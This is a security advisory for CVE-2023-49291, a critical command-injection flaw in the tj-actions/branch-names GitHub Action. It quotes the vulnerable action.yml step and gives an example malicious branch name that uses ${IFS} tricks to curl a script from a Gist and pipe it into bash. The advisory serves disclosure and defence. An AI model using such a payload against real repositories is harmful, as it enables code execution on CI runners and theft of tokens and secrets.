CVE-2023-49291 – tj-actions/branch-names

Package

Manager: github_actions
Name: tj-actions/branch-names
Vulnerable Version: >=0 <7.0.7

Severity

Level: Critical

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS: 0.01212 pctl0.78224

Details

tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection ### Summary The `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. ### Details The vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable. ```yml runs: using: "composite" steps: - id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}") HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}") REF=$(printf "%q" "${{ github.ref }}") ``` An attacker can use a branch name to inject arbitrary code, for example: `Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity. ### Impact An attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. ### Reference - https://securitylab.github.com/research/github-actions-untrusted-input

Metadata

Created: 2023-12-05T23:30:10Z
Modified: 2023-12-06T20:48:41Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/12/GHSA-8v8w-v8xg-79rf/GHSA-8v8w-v8xg-79rf.json
CWE IDs: ["CWE-20"]
Alternative ID: GHSA-8v8w-v8xg-79rf
Finding: F184
Auto approve: 1